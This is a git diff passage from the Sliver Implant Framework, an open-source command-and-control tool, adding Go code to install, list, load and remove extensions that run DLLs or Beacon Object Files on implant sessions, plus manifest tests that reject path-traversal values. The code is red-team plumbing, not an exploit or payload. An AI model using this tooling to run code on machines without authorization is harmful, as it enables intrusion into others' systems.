+	if extManifest.RepoURL != "https://example.com/" {
+		t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
+	}
+	if extManifest.Help != "some help" {
+		t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
+	}
+	if len(extManifest.Files) != 1 {
+		t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
+	}
+	if extManifest.Files[0].OS != "windows" {
+		t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
+	}
+	if extManifest.Files[0].Arch != "amd64" {
+		t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
+	}
+	if extManifest.Files[0].Path != "/foo/test1.dll" {
+		t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
+	}
+
+	extManifest2, err := ParseExtensionManifest([]byte(sample2))
+	if err != nil {
+		t.Fatalf("Error parsing extension manifest (2): %s", err)
+	}
+	if extManifest2.Name != "test2" {
+		t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
+	}
+	if extManifest2.CommandName != "test2" {
+		t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
+	}
+	if extManifest2.Help != "some help" {
+		t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
+	}
+	if len(extManifest2.Files) != 1 {
+		t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
+	}
+	if extManifest2.Files[0].OS != "windows" {
+		t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
+	}
+	if extManifest2.Files[0].Arch != "amd64" {
+		t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
+	}
+	if extManifest2.Files[0].Path != "/foo/test1.dll" {
+		t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
+	}
+}
+
+const (
+	sample3 = `{
+	"name": "test3",
+	"command_name": "test3",
+	"version": "1.0.0",
+	"extension_author": "test",
+	"original_author": "test",
+	"repo_url": "https://example.com/",
+	"help": "some help",
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "foo/test1.dll"
+		}
+	]
+}`
+)
+
+func TestParseExtensionManifestErrors(t *testing.T) {
+	sample3, err := ParseExtensionManifest([]byte(sample3))
+	if err != nil {
+		t.Fatalf("Failed to parse initial sample3: %s", err)
+	}
+
+	missingName := (*sample3)
+	missingName.Name = ""
+	data, _ := json.Marshal(missingName)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing name error, got none")
+	}
+
+	missingCmdName := (*sample3)
+	missingCmdName.CommandName = ""
+	data, _ = json.Marshal(missingCmdName)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing command name error, got none")
+	}
+
+	missingHelp := (*sample3)
+	missingHelp.Help = ""
+	data, _ = json.Marshal(missingHelp)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing help error, got none")
+	}
+
+	missingFiles := (*sample3)
+	missingFiles.Files = []*extensionFile{}
+	data, _ = json.Marshal(missingFiles)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files error, got none")
+	}
+
+	missingFileOS := (*sample3)
+	missingFileOS.Files = []*extensionFile{
+		{
+			OS:   "",
+			Arch: "amd64",
+			Path: "foo/test1.dll",
+		},
+	}
+	data, _ = json.Marshal(missingFileOS)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files.os error, got none")
+	}
+
+	missingFileArch := (*sample3)
+	missingFileArch.Files = []*extensionFile{
+		{
+			OS:   "windows",
+			Arch: "",
+			Path: "foo/test1.dll",
+		},
+	}
+	data, _ = json.Marshal(missingFileArch)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files.arch error, got none")
+	}
+
+	missingFilePath := (*sample3)
+	missingFilePath.Files = []*extensionFile{
+		{
+			OS:   "windows",
+			Arch: "amd64",
+			Path: "",
+		},
+	}
+	data, _ = json.Marshal(missingFilePath)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files.path error, got none")
+	}
+
+	invalidPaths := []string{
+		"../../../../../",
+		"/../../../../..",
+		".",
+		"/",
+	}
+	for _, invalidPath := range invalidPaths {
+		missingFilePath2 := (*sample3)
+		missingFilePath2.Files = []*extensionFile{
+			{
+				OS:   "windows",
+				Arch: "amd64",
+				Path: invalidPath,
+			},
+		}
+		data, _ = json.Marshal(missingFilePath2)
+		_, err = ParseExtensionManifest(data)
+		if err == nil {
+			t.Fatalf("Expected missing files.path error, got none")
+		}
+	}
+
+}

client/command/extensions/install.go

@@ -0,0 +1,174 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+)
+
+// ExtensionsInstallCmd - Install an extension
+func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	extLocalPath := ctx.Args.String("path")
+	fi, err := os.Stat(extLocalPath)
+	if os.IsNotExist(err) {
+		con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
+		return
+	}
+	if !fi.IsDir() {
+		InstallFromFilePath(extLocalPath, false, con)
+	} else {
+		installFromDir(extLocalPath, con)
+	}
+}
+
+// Install an extension from a directory
+func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
+	manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
+		return
+	}
+	manifest, err := ParseExtensionManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
+		return
+	}
+	installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
+		confirm := false
+		prompt := &survey.Confirm{Message: "Overwrite current install?"}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("\nError creating extension directory: %s\n", err)
+		return
+	}
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return
+	}
+
+	for _, manifestFile := range manifest.Files {
+		if manifestFile.Path != "" {
+			src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
+			dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
+			err := util.CopyFile(src, dst)
+			if err != nil {
+				con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
+				forceRemoveAll(installPath)
+				return
+			}
+		}
+	}
+
+}
+
+// InstallFromFilePath - Install an extension from a .tar.gz file
+func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
+	manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
+		return nil
+	}
+	manifest, err := ParseExtensionManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
+		return nil
+	}
+	installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		if !autoOverwrite {
+			con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
+			confirm := false
+			prompt := &survey.Confirm{Message: "Overwrite current install?"}
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return nil
+			}
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
+		return nil
+	}
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return nil
+	}
+	for _, manifestFile := range manifest.Files {
+		if manifestFile.Path != "" {
+			err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
+			if err != nil {
+				con.PrintErrorf("\nFailed to install file: %s\n", err)
+				forceRemoveAll(installPath)
+				return nil
+			}
+		}
+	}
+	con.Printf("done!\n")
+	return &installPath
+}
+
+func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
+	data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
+	if err != nil {
+		return err
+	}
+	if len(data) == 0 {
+		return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
+	}
+	localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
+	artifactDir := filepath.Dir(localArtifactPath)
+	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
+		err := os.MkdirAll(artifactDir, 0o700)
+		if err != nil {
+			return err
+		}
+	}
+	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
+	if err != nil {
+		return err
+	}
+	return nil
+}

client/command/extensions/list.go

@@ -0,0 +1,54 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// ExtensionsListCmd - List all extension loaded on the active session/beacon
+func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if extList.Response != nil && extList.Response.Err != "" {
+		con.PrintErrorf("%s\n", extList.Response.Err)
+		return
+	}
+	if len(extList.Names) > 0 {
+		con.PrintInfof("Loaded extensions:\n")
+		for _, ext := range extList.Names {
+			con.Printf("- %s\n", ext)
+		}
+	}
+}

client/command/extensions/load.go

@@ -0,0 +1,505 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+const (
+	defaultTimeout = 60
+
+	// ManifestFileName - Extension manifest file name
+	ManifestFileName = "extension.json"
+)
+
+var loadedExtensions = map[string]*ExtensionManifest{}
+
+type ExtensionManifest struct {
+	Name            string               `json:"name"`
+	CommandName     string               `json:"command_name"`
+	Version         string               `json:"version"`
+	ExtensionAuthor string               `json:"extension_author"`
+	OriginalAuthor  string               `json:"original_author"`
+	RepoURL         string               `json:"repo_url"`
+	Help            string               `json:"help"`
+	LongHelp        string               `json:"long_help"`
+	Files           []*extensionFile     `json:"files"`
+	Arguments       []*extensionArgument `json:"arguments"`
+	Entrypoint      string               `json:"entrypoint"`
+	DependsOn       string               `json:"depends_on"`
+	Init            string               `json:"init"`
+
+	RootPath string `json:"-"`
+}
+
+type extensionFile struct {
+	OS   string `json:"os"`
+	Arch string `json:"arch"`
+	Path string `json:"path"`
+}
+
+type extensionArgument struct {
+	Name     string `json:"name"`
+	Type     string `json:"type"`
+	Desc     string `json:"desc"`
+	Optional bool   `json:"optional"`
+}
+
+func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
+	filePath := ""
+	for _, extFile := range e.Files {
+		if targetOS == extFile.OS && targetArch == extFile.Arch {
+			filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
+			break
+		}
+	}
+	if filePath == "" {
+		err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
+		return "", err
+	}
+	if _, err := os.Stat(filePath); os.IsNotExist(err) {
+		err = fmt.Errorf("extension file not found: %s", filePath)
+		return "", err
+	}
+	return filePath, nil
+}
+
+// ExtensionLoadCmd - Load extension command
+func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	dirPath := ctx.Args.String("dir-path")
+	extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
+	if err != nil {
+		return
+	}
+	// do not add if the command already exists
+	if CmdExists(extCmd.CommandName, con.App) {
+		con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
+		return
+	}
+	ExtensionRegisterCommand(extCmd, con)
+	con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
+}
+
+// LoadExtensionManifest - Parse extension files
+func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
+	data, err := ioutil.ReadFile(manifestPath)
+	if err != nil {
+		return nil, err
+	}
+	extManifest, err := ParseExtensionManifest(data)
+	if err != nil {
+		return nil, err
+	}
+	extManifest.RootPath = filepath.Dir(manifestPath)
+	loadedExtensions[extManifest.CommandName] = extManifest
+	return extManifest, nil
+}
+
+// ParseExtensionManifest - Parse extension manifest from buffer
+func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
+	extManifest := &ExtensionManifest{}
+	err := json.Unmarshal(data, &extManifest)
+	if err != nil {
+		return nil, err
+	}
+	if extManifest.Name == "" {
+		return nil, errors.New("missing `name` field in extension manifest")
+	}
+	if extManifest.CommandName == "" {
+		return nil, errors.New("missing `command_name` field in extension manifest")
+	}
+	if len(extManifest.Files) == 0 {
+		return nil, errors.New("missing `files` field in extension manifest")
+	}
+	for _, extFiles := range extManifest.Files {
+		if extFiles.OS == "" {
+			return nil, errors.New("missing `files.os` field in extension manifest")
+		}
+		if extFiles.Arch == "" {
+			return nil, errors.New("missing `files.arch` field in extension manifest")
+		}
+		extFiles.Path = util.ResolvePath(extFiles.Path)
+		if extFiles.Path == "" || extFiles.Path == "/" {
+			return nil, errors.New("missing `files.path` field in extension manifest")
+		}
+		extFiles.OS = strings.ToLower(extFiles.OS)
+		extFiles.Arch = strings.ToLower(extFiles.Arch)
+	}
+	if extManifest.Help == "" {
+		return nil, errors.New("missing `help` field in extension manifest")
+	}
+	return extManifest, nil
+}
+
+// ExtensionRegisterCommand - Register a new extension command
+func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
+	loadedExtensions[extCmd.CommandName] = extCmd
+	helpMsg := extCmd.Help
+	extensionCmd := &grumble.Command{
+		Name:     extCmd.CommandName,
+		Help:     helpMsg,
+		LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
+		Run: func(extCtx *grumble.Context) error {
+			con.Println()
+			runExtensionCmd(extCtx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			// f.Bool("s", "save", false, "Save output to disk")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			if 0 < len(extCmd.Arguments) {
+				// BOF specific
+				for _, arg := range extCmd.Arguments {
+					var (
+						argFunc      func(string, string, ...grumble.ArgOption)
+						defaultValue grumble.ArgOption
+					)
+					switch arg.Type {
+					case "int", "integer", "short":
+						argFunc = a.Int
+						defaultValue = grumble.Default(0)
+					case "string", "wstring", "file":
+						argFunc = a.String
+						defaultValue = grumble.Default("")
+					default:
+						con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
+						return
+					}
+					if arg.Optional {
+						argFunc(arg.Name, arg.Desc, defaultValue)
+					} else {
+						argFunc(arg.Name, arg.Desc)
+					}
+				}
+			} else {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			}
+		},
+		HelpGroup: consts.ExtensionHelpGroup,
+	}
+	con.App.AddCommand(extensionCmd)
+}
+
+func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+	var extensionList []string
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
+	if err != nil {
+		return err
+	}
+
+	// Try to find the extension in the loaded extensions
+	if checkCache {
+		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("List extensions error: %s\n", err.Error())
+			return err
+		}
+		if extList.Response != nil && extList.Response.Err != "" {
+			return errors.New(extList.Response.Err)
+		}
+		extensionList = extList.Names
+	}
+	depLoaded := false
+	for _, extName := range extensionList {
+		if !depLoaded && extName == ext.DependsOn {
+			depLoaded = true
+		}
+		if ext.Name == extName {
+			return nil
+		}
+	}
+	// Extension not found, let's load it
+	if filepath.Ext(binPath) == ".o" {
+		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
+		// Auto load the coff loader if we have it
+		if !depLoaded {
+			if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
+				return errLoad
+			}
+		}
+		return nil
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		return err
+	}
+	if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
+		return errRegister
+	}
+	return nil
+}
+
+func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
+		Name:    ext.CommandName,
+		Data:    binData,
+		OS:      goos,
+		Init:    ext.Init,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return err
+	}
+	if registerResp.Response != nil && registerResp.Response.Err != "" {
+		return errors.New(registerResp.Response.Err)
+	}
+	return nil
+}
+
+func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+	depExt, ok := loadedExtensions[depName]
+	if ok {
+		depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
+		if err != nil {
+			return err
+		}
+		depBinData, err := ioutil.ReadFile(depBinPath)
+		if err != nil {
+			return err
+		}
+		return registerExtension(goos, depExt, depBinData, ctx, con)
+	}
+	return fmt.Errorf("missing dependency %s", depName)
+}
+
+func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		err           error
+		extensionArgs []byte
+		extName       string
+		entryPoint    string
+	)
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
+
+	ext, ok := loadedExtensions[ctx.Command.Name]
+	if !ok {
+		con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
+		return
+	}
+
+	checkCache := session != nil
+	if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
+		con.PrintErrorf("Could not load extension: %s\n", err)
+		return
+	}
+
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
+	if err != nil {
+		con.PrintErrorf("Failed to read extension file: %s\n", err)
+		return
+	}
+
+	isBOF := filepath.Ext(binPath) == ".o"
+
+	// BOFs (Beacon Object Files) are a specific kind of extensions
+	// that require another extension (a COFF loader) to be present.
+	// BOFs also have strongly typed arguments that need to be parsed in the proper way.
+	// This block will pack both the BOF data and its arguments into a single buffer that
+	// the loader will extract and load.
+	if isBOF {
+		// Beacon Object File -- requires a COFF loader
+		extensionArgs, err = getBOFArgs(ctx, binPath, ext)
+		if err != nil {
+			con.PrintErrorf("BOF args error: %s\n", err)
+			return
+		}
+		extName = ext.DependsOn
+		entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
+	} else {
+		// Regular DLL
+		extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
+		extensionArgs = []byte(extArgs)
+		extName = ext.CommandName
+		entryPoint = ext.Entrypoint
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
+	con.SpinUntil(msg, ctrl)
+	callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
+		Name:    extName,
+		Export:  entryPoint,
+		Args:    extensionArgs,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Call extension error: %s\n", err.Error())
+		return
+	}
+
+	if callExtResp.Response != nil && callExtResp.Response.Async {
+		con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, callExtResp)
+			if err != nil {
+				con.PrintErrorf("Failed to decode call ext response %s\n", err)
+				return
+			}
+			PrintExtOutput(extName, ext.CommandName, callExtResp, con)
+		})
+		con.PrintAsyncResponse(callExtResp.Response)
+	} else {
+		PrintExtOutput(extName, ext.CommandName, callExtResp, con)
+	}
+}
+
+// PrintExtOutput - Print the ext execution output
+func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
+	if extName == commandName {
+		con.PrintInfof("Successfully executed %s\n", extName)
+	} else {
+		con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
+	}
+	if 0 < len(string(callExtension.Output)) {
+		con.PrintInfof("Got output:\n%s\n", callExtension.Output)
+	}
+	if callExtension.Response != nil && callExtension.Response.Err != "" {
+		con.PrintErrorf("%s\n", callExtension.Response.Err)
+		return
+	}
+}
+
+func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
+	var extensionArgs []byte
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		return nil, err
+	}
+	argsBuffer := core.BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	// Parse BOF arguments from grumble
+	for _, arg := range ext.Arguments {
+		switch arg.Type {
+		case "integer":
+			fallthrough
+		case "int":
+			val := ctx.Args.Int(arg.Name)
+			err = argsBuffer.AddInt(uint32(val))
+			if err != nil {
+				return nil, err
+			}
+		case "short":
+			val := ctx.Args.Int(arg.Name)
+			err = argsBuffer.AddShort(uint16(val))
+			if err != nil {
+				return nil, err
+			}
+		case "string":
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddString(val)
+			if err != nil {
+				return nil, err
+			}
+		case "wstring":
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddWString(val)
+			if err != nil {
+				return nil, err
+			}
+		// Adding support for filepaths so we can
+		// send binary data like shellcodes to BOFs
+		case "file":
+			val := ctx.Args.String(arg.Name)
+			data, err := ioutil.ReadFile(val)
+			if err != nil {
+				return nil, err
+			}
+			err = argsBuffer.AddData(data)
+			if err != nil {
+				return nil, err
+			}
+		}
+	}
+	parsedArgs, err := argsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	// Now build the extension's argument buffer
+	extensionArgsBuffer := core.BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	err = extensionArgsBuffer.AddString(ext.Entrypoint)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(binData)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(parsedArgs)
+	if err != nil {
+		return nil, err
+	}
+	extensionArgs, err = extensionArgsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	return extensionArgs, nil
+
+}
+
+// CmdExists - checks if a command exists
+func CmdExists(name string, app *grumble.App) bool {
+	for _, c := range app.Commands().All() {
+		if name == c.Name {
+			return true
+		}
+	}
+	return false
+}

client/command/extensions/remove.go

@@ -0,0 +1,77 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+)
+
+// ExtensionsRemoveCmd - Remove an extension
+func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("Extension name is required\n")
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	err := RemoveExtensionByCommandName(name, con)
+	if err != nil {
+		con.PrintErrorf("Error removing extension: %s\n", err)
+		return
+	} else {
+		con.PrintInfof("Extension '%s' removed\n", name)
+	}
+}
+
+// RemoveExtensionByCommandName - Remove an extension by command name
+func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
+	if commandName == "" {
+		return errors.New("command name is required")
+	}
+	if _, ok := loadedExtensions[commandName]; !ok {
+		return errors.New("extension not loaded")
+	}
+	delete(loadedExtensions, commandName)
+	con.App.Commands().Remove(commandName)
+	extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
+	if _, err := os.Stat(extPath); os.IsNotExist(err) {
+		return nil
+	}
+	forceRemoveAll(extPath)
+	return nil
+}
+
+func forceRemoveAll(rootPath string) {
+	util.ChmodR(rootPath, 0o600, 0o700)
+	os.RemoveAll(rootPath)
+}

client/command/filesystem.go

@@ -1,339 +0,0 @@
-package command
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"io/ioutil"
-	"os"
-	"path"
-	"path/filepath"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/alecthomas/chroma/formatters"
-	"github.com/alecthomas/chroma/lexers"
-	"github.com/alecthomas/chroma/styles"
-	"github.com/bishopfox/sliver/client/spin"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/util"
-	"github.com/bishopfox/sliver/util/encoders"
-	"gopkg.in/AlecAivazis/survey.v1"
-
-	"github.com/desertbit/grumble"
-)
-
-func ls(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) < 1 {
